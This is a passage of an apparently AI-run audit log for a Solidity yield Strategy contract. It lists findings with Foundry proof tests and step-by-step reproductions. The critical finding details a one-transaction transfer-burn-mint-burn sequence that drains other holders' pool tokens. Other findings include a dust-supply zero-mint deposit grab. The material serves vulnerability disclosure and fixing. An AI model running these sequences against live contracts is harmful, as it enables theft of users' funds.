contract"}],"hash":"cbb42ea86062fffd34bb860f03a61b0e5a73e37687b6d8e6b43f5173077e12af","nodeId":"c80fd7ac-acae-4efb-a1c2-de8ae211601c","outcome":"completed","summary":"The review is complete: `.imd-findings.json` holds four findings, one critical with a Foundry proof, and no repository file was changed.\n\n## Findings\n\n1. **Critical — `burn` pays from the live pool-token balance instead of `poolCached`** (`src/Strategy.sol:363`).\n   - **Cause:** the payout is `pool.balanceOf(address(this)) * burnt / totalSupply_`, but the whole payout is then subtracted from `poolCached`, while `mint` prices deposits against the cache only.\n   - **Failing input:** with 100e18 supply held by a victim, a caller mints with 100e18 pool tokens, sends 200e18 more without calling `mint`, then burns 99e18 strategy tokens. They receive 198e18 instead of 99e18, and `poolCached` drops to 2e18.\n   - **Impact:** the next `mint` issues 10100e18 strategy tokens. The caller leaves with 398.02e18 pool tokens after bringing 300e18, and the victim's 100e18 now redeems for 1.98e18. No role is needed and it fits in one transaction.\n   - **Fix:** use `poolCached_ * burnt / totalSupply_`.\n   - **Proof:** `test/scratch/BurnDonation.t.sol` fails on the current code and passes with that one-line change applied in a temporary copy.\n\n2. **Medium — `mintDivested` and `mint` accept deposits that mint zero strategy tokens** (`src/Strategy.sol:384`, also `:341`).\n   - **Precondition:** one account holds the entire supply and that supply is dust. This cannot be forced while other holders keep a meaningful stake.\n   - **Failing state:** `totalSupply = 1`, `baseCached = 2`. The holder doubles the cache with 70 zero-mint deposits to about 1180.59e18.\n   - **Impact:** a 1000e18 deposit then mints 0, and the holder burns 1 wei to collect everything.\n   - **Fix:** revert when `minted == 0`, plus a caller minimum or a locked minimum supply.\n\n3. **Low — zero supply permanently bricks minting** (`src/Strategy.sol:341`, `:384`).\n   - **Failing state:** the last holder burns, leaving `totalSupply = 0` and the cache at 0.\n   - **Impact:** every later `mint` or `mintDivested` panics with division by zero, and `_init` is only reachable in `DEPLOYED`, so the instance cannot be recovered. Exiting holders lose nothing.\n\n4. **Low — `invest` cannot roll into another Strategy** (`src/Strategy.sol:165`).\n   - **Failing input:** `A.invest(IPool(address(B)))` with all roles granted reverts, because `invest` decodes three return words from `init` and `Strategy.init` returns one.\n   - **Impact:** the inherited `mint(address,address,uint256,uint256)` migration hook is unreachable from this version, and the self-grant at line 58 has no effect. Holders can still exit individually.\n\nFindings 2–4 were each reproduced in a scratch test against mocks, since deleted; they carry no proof file.\n\n## Coverage\n\n- **In depth:** `_init`, both `mint` overloads, `burn`, `mintDivested`, `burnDivested`, and the cache writes in `invest`, `divest`, `eject`, `burnPoolTokens`, `buyFYToken` and `restart`.\n- **Periphery, read only:** `StrategyMigrator`, `ERC20Rewards`, `ERC20` and `MinimalTransferHelper`.\n- **Not reviewed:** the math, permissions and economics passes, `src/draft` and `src/deprecated`.\n- **Test limits:** all tests ran against inline mocks (an ERC20 base and a 1:1 LP mock), not the real YieldSpace pool or a fork. The critical finding depends only on ERC20 transfers of the pool token.\n- **Checked and not reported:**\n  - Gas starvation of the `try` in `eject`: not reachable, since the catch path needs more gas left than the burn uses.\n  - Front-running `invest`: `Pool.init` is role-gated.\n  - Stray base at `eject` being claimable through `buyFYToken`: it only affects unaccounted funds.","treeHash":null,"usage":{"cachedInputTokens":796624,"cost":{"source":"runtime","usdMicros":3134741},"inputTokens":25,"model":"claude-fable-5-2","outputTokens":40252,"runtime":"claude","turns":15,"wallClockMs":420294}},{"artifacts":[],"attempt":3,"bundleHash":null,"device":"deaec004c093eabd","findings":[{"citation":"resolved","description":"Where: Strategy.burn(address), src/Strategy.sol lines 363-367.\n\nRoot cause: burn() computes the payout from the live balance, pool.balanceOf(address(this)) * burnt / totalSupply_ (line 363), and then subtracts that payout from the cache (line 367: poolCached = poolCached_ - poolTokensObtained). mint(address) does the opposite: it prices strategy tokens against poolCached only (line 341) and treats balance - poolCached as the caller's deposit (line 335). Pool tokens that sit in the strategy without having been accounted by mint() are therefore counted twice. burn() pays the burner a pro-rata share of them; because the whole payout is charged to the cache, what is left of them is still balance - poolCached afterwards, so the next mint() books all of it as a fresh deposit, at a price (poolCached / totalSupply) that the inflated payout has pushed far down.\n\nWho can do it: anyone. mint and burn are gated only by state == INVESTED, the gap is created by a plain transfer of pool tokens to the strategy, the sequence fits in one transaction and the caller recovers every pool token they sent in, so the capital can be borrowed. The loss falls on the other holders and the sequence can be repeated until they hold nothing.\n\nThree effects of this one line, each reproduced:\n(a) Theft from holders: transfer pool tokens, burn, mint, burn (numbers below).\n(b) A burn made while somebody else's pool tokens are waiting for mint() is overpaid out of the remaining holders. Note on one specialist claim: the pending depositor is NOT under-credited. Their later mint() still sees deposit = balance - poolCached equal to the full amount they sent, and receives strategy tokens worth it; the shortfall lands on the holders who did not burn. That part of the specialist report did not reproduce and is corrected here.\n(c) Denial of exit: whenever balance * burnt / totalSupply exceeds poolCached, line 367 underflows and burn reverts. 1 wei of pool tokens sent to the strategy makes a burn of the whole supply revert with Panic(0x11) until someone calls mint() to absorb it.\n\nFix (keeps the design, in which the cache is the accounted backing): compute the payout from the cache at line 363, poolTokensObtained = poolCached_ * burnt / totalSupply_, exactly as burnDivested does with baseCached. Unaccounted pool tokens then stay a pending deposit for mint(). Nothing else needs to change. Checked on a scratch copy of the contract with only this line changed: all three tests of the attached proof pass, and they fail on the code as it is.\n\nMerged from five specialist reports of this root cause (1aa27786, f633f305, a599ecdb, 128c6aca, f76f4c0b); the separately reported underflow at line 367 is effect (c), same line, same fix. All four specialist proofs were run and fail on this code for the reason given; the attached proof is a single file covering (a), (b) and (c).","line":363,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport {Strategy, IFYToken, IPool} from \"src/Strategy.sol\";\n\ncontract MockERC20 {\n    string public name;\n    string public symbol;\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(string memory name_) {\n        name = name_;\n        symbol = name_;\n    }\n\n    function mint(address to, uint256 amount) public {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) public returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract MockFYToken is MockERC20 {\n    address public underlying;\n\n    constructor(address underlying_) MockERC20(\"fyToken\") {\n        underlying = underlying_;\n    }\n\n    function redeem(address, uint256 amount) external pure returns (uint256) {\n        require(amount == 0, \"mock pool never returns fyToken\");\n        return 0;\n    }\n}\n\n/// Minimal stand-in for a YieldSpace pool: an LP token minted 1:1 for the base found on `init`,\n/// and burnt pro rata for the base the pool holds.\ncontract MockPool is MockERC20 {\n    MockERC20 public base;\n    MockFYToken public fyToken;\n    uint32 public maturity;\n\n    constructor(MockERC20 base_, MockFYToken fyToken_) MockERC20(\"pool\") {\n        base = base_;\n        fyToken = fyToken_;\n        maturity = uint32(block.timestamp + 90 days);\n    }\n\n    function init(address to) external returns (uint256, uint256, uint256) {\n        uint256 baseIn = base.balanceOf(address(this));\n        mint(to, baseIn);\n        return (baseIn, 0, baseIn);\n    }\n\n    function burn(address baseTo, address, uint256, uint256) external returns (uint256 lpBurnt, uint256 baseOut, uint256 fyTokenOut) {\n        lpBurnt = balanceOf[address(this)];\n        baseOut = totalSupply == 0 ? 0 : base.balanceOf(address(this)) * lpBurnt / totalSupply;\n        balanceOf[address(this)] -= lpBurnt;\n        totalSupply -= lpBurnt;\n        fyTokenOut = 0;\n        base.transfer(baseTo, baseOut);\n    }\n}\n\n/// Strategy.burn must pay `poolCached * burnt / totalSupply`: pool tokens that sit in the strategy but\n/// were never accounted by `mint` (balance above `poolCached`) must not change what a burner receives.\ncontract StrategyBurnUsesCacheTest is Test {\n    MockERC20 base;\n    MockFYToken fyToken;\n    MockPool pool;\n    Strategy strategy;\n\n    address victim = address(0xA11CE);\n    address caller = address(0xB0B);\n\n    function setUp() public {\n        base = new MockERC20(\"base\");\n        fyToken = new MockFYToken(address(base));\n        pool = new MockPool(base, fyToken);\n        strategy = new Strategy(\"Strategy\", \"STR\", IFYToken(address(fyToken)));\n        strategy.grantRole(Strategy.init.selector, address(this));\n        strategy.grantRole(Strategy.invest.selector, address(this));\n\n        // The victim is the only holder: 100 base -> 100 strategy tokens, invested into 100 pool tokens.\n        base.mint(address(strategy), 100e18);\n        strategy.init(victim);\n        strategy.invest(IPool(address(pool)));\n        assertEq(strategy.totalSupply(), 100e18);\n        assertEq(strategy.poolCached(), 100e18);\n        assertEq(pool.balanceOf(address(strategy)), 100e18);\n    }\n\n    /// transfer pool tokens -> burn -> mint -> burn must not move value from the other holder to the caller.\n    function test_transferBurnMint_doesNotTakeOtherHoldersPoolTokens() public {\n        pool.mint(caller, 300e18);\n        vm.startPrank(caller);\n\n        // Join honestly with 100 pool tokens: 100 strategy tokens, half of the strategy.\n        pool.transfer(address(strategy), 100e18);\n        assertEq(strategy.mint(caller), 100e18);\n\n        // Leave 200 pool tokens in the strategy without calling mint, then burn 99 strategy tokens.\n        pool.transfer(address(strategy), 200e18);\n        strategy.transfer(address(strategy), 99e18);\n        uint256 obtained = strategy.burn(caller);\n        // 99 of 200 strategy tokens over 200 accounted pool tokens.\n        assertEq(obtained, 99e18, \"burn paid a share of pool tokens that are not in poolCached\");\n\n        // The 200 pool tokens are still a pending deposit: mint them, then exit completely.\n        strategy.mint(caller);\n        strategy.transfer(address(strategy), strategy.balanceOf(caller));\n        strategy.burn(caller);\n        vm.stopPrank();\n\n        assertLe(pool.balanceOf(caller), 300e18, \"caller left with more pool tokens than they brought\");\n\n        vm.startPrank(victim);\n        strategy.transfer(address(strategy), 100e18);\n        uint256 victimOut = strategy.burn(victim);\n        vm.stopPrank();\n        assertEq(victimOut, 100e18, \"victim can no longer redeem their 100 pool tokens\");\n    }\n\n    /// A burner that acts while somebody else's pool tokens are in the strategy waiting for `mint`\n    /// receives only the pro-rata share of the accounted pool tokens.\n    function test_burnWhileDepositPending_paysOnlyAccountedShare() public {\n        // Somebody transfers 900 pool tokens and has not called mint yet.\n        pool.mint(address(strategy), 900e18);\n\n        vm.startPrank(victim);\n        strategy.transfer(address(strategy), 5e18);\n        uint256 obtained = strategy.burn(victim);\n        vm.stopPrank();\n\n        assertEq(obtained, 5e18, \"5% of the 100 accounted pool tokens\");\n        assertEq(strategy.poolCached(), 95e18, \"cache must fall by the burner's own share only\");\n    }\n\n    /// The last holder can always burn the whole supply, whatever was sent to the strategy.\n    function test_fullExitAfterOneWeiTransfer() public {\n        pool.mint(address(strategy), 1);\n\n        vm.startPrank(victim);\n        strategy.transfer(address(strategy), 100e18);\n        uint256 obtained = strategy.burn(victim);\n        vm.stopPrank();\n\n        assertEq(obtained, 100e18);\n        assertEq(strategy.totalSupply(), 0);\n    }\n}","reproduction":"Run: forge test --match-path test/scratch/BurnUsesCache.t.sol (the \"proof\" source). Mock base, fyToken and a pool that mints pool tokens 1:1 for base on init; observed values below.\n\nSetup: init with 100e18 base to a victim, invest. State INVESTED, totalSupply 100e18, poolCached = pool.balanceOf(strategy) = 100e18.\n\n(a) Caller starts with 300e18 pool tokens and no strategy tokens.\n1. pool.transfer(strategy, 100e18); strategy.mint(caller) -> 100e18 strategy tokens. totalSupply 200e18, poolCached 200e18.\n2. pool.transfer(strategy, 200e18), no mint. Balance 400e18, poolCached 200e18.\n3. strategy.transfer(strategy, 99e18); strategy.burn(caller). Expected 200e18 * 99 / 200 = 99e18. Actual 400e18 * 99 / 200 = 198e18. After it: poolCached 2e18, balance 202e18, totalSupply 101e18.\n4. strategy.mint(caller): deposit = 202e18 - 2e18 = 200e18, minted = 101e18 * 200e18 / 2e18 = 10100e18 (expected 200e18).\n5. Caller sends all 10101e18 strategy tokens to the strategy and calls burn(caller): receives 200019801980198019801.\nResult: caller ends with 398019801980198019801 pool tokens after bringing 300e18 (expected: at most 300e18). The victim's 100e18 strategy tokens then burn for 1980198019801980199 pool tokens (expected 100e18).\n\n(b) Same setup. 900e18 pool tokens are sent to the strategy and not yet minted. The victim sends 5e18 strategy tokens and calls burn. Expected 5e18 and poolCached 95e18. Actual 50e18 and poolCached 50e18. A following mint() for the 900e18 gives 1710e18 strategy tokens worth 900e18, and the remaining 95e18 strategy tokens are worth 50e18 instead of 95e18.\n\n(c) Same setup. 1 wei of pool tokens is sent to the strategy. The victim sends all 100e18 strategy tokens and calls burn(victim). Expected: 100e18 pool tokens paid, totalSupply 0. Actual: payout (100e18 + 1) > poolCached 100e18, revert with Panic(0x11) at line 367.","severity":"critical","snippet":"poolTokensObtained = pool.balanceOf(address(this)) * burnt / totalSupply_;","title":"Strategy.burn pays out of the live pool-token balance instead of poolCached, so transfer -> burn -> mint takes the other holders' pool tokens (and a 1 wei transfer blocks a full exit)"},{"citation":"resolved","description":"Where: Strategy.mintDivested (lines 380-386) and, with the same arithmetic on pool tokens, Strategy.mint(address) (lines 335-342, minted = _totalSupply * deposit / poolCached_).\n\nRoot cause: both functions add the whole deposit to the cache (line 382 / 338) and then mint _totalSupply * deposit / cache rounded down, with no check that minted > 0 and no minimum supplied by the caller. Whenever _totalSupply * deposit < cache the depositor receives nothing and the deposit becomes backing for the existing strategy tokens. The comment in _init (line 140) shows the rounding-down attack is known, but it is only addressed by how much is minted at init: nothing in mint, mintDivested, burn or burnDivested keeps the supply above dust afterwards.\n\nPreconditions, stated plainly: one account holds the whole supply, the supply is dust (1 wei in the reproduction), and the cache per strategy token is above 1, which is the normal condition after any divest that returned more base than was invested (1 wei of pool earnings is enough). This cannot be forced on a strategy in which other holders keep a meaningful stake; it is reachable when the other holders have exited, or early in the strategy's life if it was initialised with a small amount. In that state the holder can double the cache with each zero-mint deposit at no cost to themselves (they own 100% of the supply), after which any deposit smaller than the cache mints 0 and is collected by burning the single wei.\n\nImpact: the next depositor loses the entire deposit to the dust holder. Medium: full loss for the victim, but only in the state described.\n\nFix that keeps the design: revert in mint and mintDivested when minted == 0. To also close the partial-rounding variant, either accept a minimum-out from the caller or keep a permanently locked minimum supply from init. Checked on a scratch copy with require(minted > 0) added at lines 341 and 384: the attached proof passes (the zero-mint deposits revert and the 1000e18 deposit mints 500e18 strategy tokens). The proof accepts either fix: it only requires that the depositor's base is either refused or redeemable.\n\nMerged from two specialist reports (c6697ab6, 84965602); both reproduce.","line":384,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport {Strategy, IFYToken, IPool} from \"src/Strategy.sol\";\n\ncontract MockERC20 {\n    string public name;\n    string public symbol;\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(string memory name_) {\n        name = name_;\n        symbol = name_;\n    }\n\n    function mint(address to, uint256 amount) public {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) public returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract MockFYToken is MockERC20 {\n    address public underlying;\n\n    constructor(address underlying_) MockERC20(\"fyToken\") {\n        underlying = underlying_;\n    }\n\n    function redeem(address, uint256 amount) external pure returns (uint256) {\n        require(amount == 0, \"mock pool never returns fyToken\");\n        return 0;\n    }\n}\n\n/// Minimal stand-in for a YieldSpace pool: an LP token minted 1:1 for the base found on `init`,\n/// and burnt pro rata for the base the pool holds.\ncontract MockPool is MockERC20 {\n    MockERC20 public base;\n    MockFYToken public fyToken;\n    uint32 public maturity;\n\n    constructor(MockERC20 base_, MockFYToken fyToken_) MockERC20(\"pool\") {\n        base = base_;\n        fyToken = fyToken_;\n        maturity = uint32(block.timestamp + 90 days);\n    }\n\n    function init(address to) external returns (uint256, uint256, uint256) {\n        uint256 baseIn = base.balanceOf(address(this));\n        mint(to, baseIn);\n        return (baseIn, 0, baseIn);\n    }\n\n    function burn(address baseTo, address, uint256, uint256) external returns (uint256 lpBurnt, uint256 baseOut, uint256 fyTokenOut) {\n        lpBurnt = balanceOf[address(this)];\n        baseOut = totalSupply == 0 ? 0 : base.balanceOf(address(this)) * lpBurnt / totalSupply;\n        balanceOf[address(this)] -= lpBurnt;\n        totalSupply -= lpBurnt;\n        fyTokenOut = 0;\n        base.transfer(baseTo, baseOut);\n    }\n}\n\n/// What a batchable router does: move the deposit and mint in one call, so a reverting mint moves nothing.\ncontract MockRouter {\n    function depositDivested(Strategy strategy, MockERC20 base, uint256 amount, address to) external returns (uint256) {\n        base.transferFrom(msg.sender, address(strategy), amount);\n        return strategy.mintDivested(to);\n    }\n}\n\n/// A deposit must never be taken while minting no strategy tokens for it.\ncontract StrategyZeroMintTest is Test {\n    MockERC20 base;\n    MockFYToken fyToken;\n    MockPool pool;\n    MockRouter router;\n    Strategy strategy;\n\n    address holder = address(0xB0B);\n    address depositor = address(0xA11CE);\n\n    function setUp() public {\n        base = new MockERC20(\"base\");\n        fyToken = new MockFYToken(address(base));\n        pool = new MockPool(base, fyToken);\n        router = new MockRouter();\n        strategy = new Strategy(\"Strategy\", \"STR\", IFYToken(address(fyToken)));\n        strategy.grantRole(Strategy.init.selector, address(this));\n        strategy.grantRole(Strategy.invest.selector, address(this));\n\n        // One investment cycle that earns 1 wei: base per strategy token is just above 1 afterwards.\n        base.mint(address(strategy), 1e18);\n        strategy.init(holder);\n        strategy.invest(IPool(address(pool)));\n        base.mint(address(pool), 1);\n        vm.warp(pool.maturity());\n        strategy.divest();\n        assertEq(strategy.baseCached(), 1e18 + 1);\n    }\n\n    function test_depositIsNotTakenForZeroStrategyTokens() public {\n        vm.startPrank(holder);\n        base.approve(address(router), type(uint256).max);\n\n        // The only holder exits down to 1 wei of strategy tokens.\n        strategy.transfer(address(strategy), strategy.balanceOf(holder) - 1);\n        strategy.burnDivested(holder);\n\n        // Deposits of baseCached - 1 round to zero strategy tokens and are kept, doubling the cache each time.\n        for (uint256 i; i < 70; i++) {\n            uint256 amount = strategy.baseCached() - 1;\n            base.mint(holder, amount);\n            try router.depositDivested(strategy, base, amount, holder) {} catch {}\n        }\n        vm.stopPrank();\n\n        // An ordinary deposit of 1000 base through the router.\n        base.mint(depositor, 1000e18);\n        vm.startPrank(depositor);\n        base.approve(address(router), type(uint256).max);\n        try router.depositDivested(strategy, base, 1000e18, depositor) {} catch {}\n        vm.stopPrank();\n\n        // Either the deposit was refused (the base is still the depositor's) or it is redeemable.\n        uint256 redeemable = strategy.baseCached() * strategy.balanceOf(depositor) / strategy.totalSupply();\n        assertGe(base.balanceOf(depositor) + redeemable, 990e18, \"deposit taken without strategy tokens in return\");\n    }\n}","reproduction":"Run: forge test --match-path test/scratch/ZeroMint.t.sol (the \"proof\" source). Observed values:\n\nSetup: init with 1e18 base to holder X, invest into a mock pool, the pool earns 1 wei of base, divest after maturity. State DIVESTED, totalSupply 1e18, baseCached 1e18 + 1.\n1. X sends 1e18 - 1 strategy tokens to the strategy and calls burnDivested(X): receives 999999999999999999. Now totalSupply = 1, baseCached = 2.\n2. X repeats 70 times: send baseCached - 1 base to the strategy, call mintDivested(X). Every call returns minted = 1 * (baseCached - 1) / baseCached = 0 (expected: a revert or a non-zero mint) and baseCached roughly doubles: 2, 3, 5, 9, ... up to 1180591620717411303425. X has put in 1180591620717411303423 in total.\n3. A depositor sends 1000e18 base and calls mintDivested(depositor). Expected: strategy tokens worth about 1000e18 (or a revert). Actual: minted = 1 * 1000e18 / 1180591620717411303425 = 0, balanceOf(depositor) = 0, and baseCached grows by 1000e18.\n4. X sends the 1 wei strategy token and calls burnDivested(X): receives 2180591620717411303425, that is everything X put in plus the depositor's 1000e18.\n\nmint(address) while INVESTED has the same expression on line 341 (totalSupply = 1, poolCached = 2, a deposit of 1 pool token mints 0); only the mintDivested path was executed.","severity":"medium","snippet":"minted = _totalSupply * deposit / baseCached_;","title":"mintDivested and mint keep a deposit that rounds to zero strategy tokens, so the holder of a dust supply can inflate the price and take a later deposit"},{"citation":"resolved","description":"Where: Strategy.mint(address) line 341 and Strategy.mintDivested line 384 (minted = _totalSupply * deposit / baseCached_).\n\nRoot cause: neither function has a branch for an empty strategy. burn and burnDivested let holders take totalSupply and the matching cache to exactly zero, and the only code that mints against an empty strategy, _init, is restricted to State.DEPLOYED (line 132), which is left for good after the first init. No transition recovers it: restart() needs DRAINED, init()/the 4-argument mint hook need DEPLOYED, invest() from DIVESTED forwards baseCached = 0 to a pool.\n\nTwo outcomes, both reproduced:\n- Cache is 0: every later mint/mintDivested reverts with Panic(0x12), in both the invested and the divested state.\n- Cache is above 0 while totalSupply is 0 (after a full exit while INVESTED, any stray pool tokens are turned into baseCached by divest(), line 200): mintDivested does not revert. It computes 0 * deposit / baseCached = 0, keeps the deposit in baseCached and mints nothing. burnDivested then divides by _totalSupply = 0, so no user can ever withdraw that base.\n\nImpact: holders who exit lose nothing. The strategy instance, with its role grants and any rewards schedule, is permanently unusable after ordinary user actions and has to be redeployed; in the second outcome a later depositor's base is taken with nothing minted. Low: it needs the whole supply to be burnt first.\n\nFix that preserves behaviour: in mint and mintDivested, when _totalSupply == 0 treat the deposit as a first deposit (minted = deposit, as _init does), or keep a locked minimum supply from init so the supply can never reach zero. Checked on a scratch copy with \"_totalSupply == 0 ? deposit : ...\" at lines 341 and 384: the three tests of the attached proof pass. The proof accepts either of these two fixes.\n\nMerged from four specialist reports (53c8d994, 7cd3c5fb, c8b9d51b, 086b6174), which rated it low, low, medium and low. The 'stuck base' the medium rating relied on needs a depositor to send base without minting in the same call, or the stray-balance state above, so low is kept.","line":341,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport {Strategy, IFYToken, IPool} from \"src/Strategy.sol\";\n\ncontract MockERC20 {\n    string public name;\n    string public symbol;\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(string memory name_) {\n        name = name_;\n        symbol = name_;\n    }\n\n    function mint(address to, uint256 amount) public {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) public returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract MockFYToken is MockERC20 {\n    address public underlying;\n\n    constructor(address underlying_) MockERC20(\"fyToken\") {\n        underlying = underlying_;\n    }\n\n    function redeem(address, uint256 amount) external pure returns (uint256) {\n        require(amount == 0, \"mock pool never returns fyToken\");\n        return 0;\n    }\n}\n\n/// Minimal stand-in for a YieldSpace pool: an LP token minted 1:1 for the base found on `init`,\n/// and burnt pro rata for the base the pool holds.\ncontract MockPool is MockERC20 {\n    MockERC20 public base;\n    MockFYToken public fyToken;\n    uint32 public maturity;\n\n    constructor(MockERC20 base_, MockFYToken fyToken_) MockERC20(\"pool\") {\n        base = base_;\n        fyToken = fyToken_;\n        maturity = uint32(block.timestamp + 90 days);\n    }\n\n    function init(address to) external returns (uint256, uint256, uint256) {\n        uint256 baseIn = base.balanceOf(address(this));\n        mint(to, baseIn);\n        return (baseIn, 0, baseIn);\n    }\n\n    function burn(address baseTo, address, uint256, uint256) external returns (uint256 lpBurnt, uint256 baseOut, uint256 fyTokenOut) {\n        lpBurnt = balanceOf[address(this)];\n        baseOut = totalSupply == 0 ? 0 : base.balanceOf(address(this)) * lpBurnt / totalSupply;\n        balanceOf[address(this)] -= lpBurnt;\n        totalSupply -= lpBurnt;\n        fyTokenOut = 0;\n        base.transfer(baseTo, baseOut);\n    }\n}\n\n/// After every holder has exited, the strategy must still be able to take a deposit and pay it back.\ncontract StrategyEmptySupplyTest is Test {\n    MockERC20 base;\n    MockFYToken fyToken;\n    MockPool pool;\n    Strategy strategy;\n\n    address holder = address(0xA11CE);\n    address bob = address(0xB0B);\n\n    function setUp() public {\n        base = new MockERC20(\"base\");\n        fyToken = new MockFYToken(address(base));\n        pool = new MockPool(base, fyToken);\n        strategy = new Strategy(\"Strategy\", \"STR\", IFYToken(address(fyToken)));\n        strategy.grantRole(Strategy.init.selector, address(this));\n        strategy.grantRole(Strategy.invest.selector, address(this));\n\n        base.mint(address(strategy), 100e18);\n        strategy.init(holder);\n    }\n\n    function test_mintDivestedAfterEveryHolderExited() public {\n        vm.startPrank(holder);\n        strategy.transfer(address(strategy), strategy.balanceOf(holder));\n        strategy.burnDivested(holder);\n        vm.stopPrank();\n\n        base.mint(address(strategy), 10e18);\n        uint256 minted = strategy.mintDivested(bob);\n        assertGt(minted, 0, \"no strategy tokens for a deposit into an empty strategy\");\n\n        vm.startPrank(bob);\n        strategy.transfer(address(strategy), minted);\n        uint256 out = strategy.burnDivested(bob);\n        vm.stopPrank();\n        assertGe(out, 9.9e18, \"deposit not redeemable\");\n    }\n\n    function test_mintAfterEveryHolderExited() public {\n        strategy.invest(IPool(address(pool)));\n\n        vm.startPrank(holder);\n        strategy.transfer(address(strategy), strategy.balanceOf(holder));\n        strategy.burn(holder);\n        vm.stopPrank();\n\n        pool.mint(address(strategy), 10e18);\n        uint256 minted = strategy.mint(bob);\n        assertGt(minted, 0, \"no strategy tokens for a deposit into an empty strategy\");\n\n        vm.startPrank(bob);\n        strategy.transfer(address(strategy), minted);\n        uint256 out = strategy.burn(bob);\n        vm.stopPrank();\n        assertGe(out, 9.9e18, \"deposit not redeemable\");\n    }\n\n    /// Empty supply but a non-zero cache (stray pool tokens picked up by divest): the deposit must not be swallowed.\n    function test_mintDivestedWithEmptySupplyAndStrayBase() public {\n        strategy.invest(IPool(address(pool)));\n\n        vm.startPrank(holder);\n        strategy.transfer(address(strategy), strategy.balanceOf(holder));\n        strategy.burn(holder);\n        vm.stopPrank();\n\n        pool.mint(address(strategy), 1e18); // stray pool tokens\n        vm.warp(pool.maturity());\n        strategy.divest();\n        assertGt(strategy.baseCached(), 0);\n\n        base.mint(address(strategy), 10e18);\n        strategy.mintDivested(bob);\n        assertGt(strategy.balanceOf(bob), 0, \"10 base taken, no strategy tokens minted\");\n    }\n}","reproduction":"Run: forge test --match-path test/scratch/EmptySupply.t.sol (the \"proof\" source). Setup for all three: 100e18 base sent to a DEPLOYED strategy, init(holder): DIVESTED, totalSupply 100e18, baseCached 100e18.\n\n1. Divested: the holder sends 100e18 strategy tokens to the strategy and calls burnDivested(holder): totalSupply 0, baseCached 0. Bob sends 10e18 base and calls mintDivested(bob). Expected: Bob receives strategy tokens redeemable for his 10e18. Actual: Panic(0x12) division by zero at line 384.\n2. Invested: invest into a pool (poolCached 100e18), the holder sends 100e18 strategy tokens and calls burn(holder): totalSupply 0, poolCached 0. Bob sends 10e18 pool tokens and calls mint(bob). Expected: strategy tokens for Bob. Actual: Panic(0x12) at line 341.\n3. Silent variant: as in 2, then 1e18 stray pool tokens reach the strategy and divest() is called after maturity, so baseCached > 0 with totalSupply = 0. Bob sends 10e18 base and calls mintDivested(bob). Expected: strategy tokens for Bob, or a revert. Actual: the call succeeds, balanceOf(bob) = 0, and the 10e18 base is added to baseCached.","severity":"low","snippet":"minted = _totalSupply * deposit / poolCached_;","title":"After every holder has exited, mint and mintDivested divide by zero (or silently mint nothing), and the strategy can never take a deposit again"},{"citation":"resolved","description":"Strategy inherits ERC20Rewards, whose auth-gated setRewardsToken (callable once) accepts any token, including the strategy's base. Rewards funding is held by the strategy itself, so if the rewards token is the base it sits in base.balanceOf(strategy) above baseCached, and mintDivested (line 381) treats it as the deposit of whoever calls next. The same reasoning applies while INVESTED if the rewards token is the pool token (line 335 for mint, line 363 for burn), and to the strategy token itself, since burn and burnDivested burn every strategy token the contract holds.\n\nThis is a privileged misconfiguration, not a permission bypass: only an account granted setRewardsToken can create it, so it is reported as a trust assumption and rated info (the specialist rated it low). Nothing in Strategy prevents it. Hardening that does not change the design: document that the rewards token must not be base, a pool token or the strategy token, or reject base in an override of setRewardsToken.\n\nOnly the first half of the specialist's claim was executed (capture of rewards funding by a mint with no deposit). The second half (a later claim() pulling the base balance below baseCached so that mintDivested underflows) follows from line 381 but was not run.","line":381,"path":"src/Strategy.sol","reproduction":"Mock base and fyToken. 1000e18 base sent to the strategy, init(victim): DIVESTED, totalSupply 1000e18, baseCached 1000e18. The admin grants itself setRewardsToken and calls setRewardsToken(base), then 100e18 base is sent to the strategy as rewards funding. A caller who has sent nothing calls mintDivested(caller). Expected: nothing minted without a deposit. Actual: minted = 1000e18 * 100e18 / 1000e18 = 100e18 strategy tokens to the caller, backed by the rewards funding.","severity":"info","snippet":"uint256 deposit = base.balanceOf(address(this)) - baseCached_;","title":"Trust assumption: if the rewards token is set to the base token, rewards funding is minted against as a deposit by the next caller"},{"citation":"resolved","description":"StrategyMigrator describes itself as posing as a 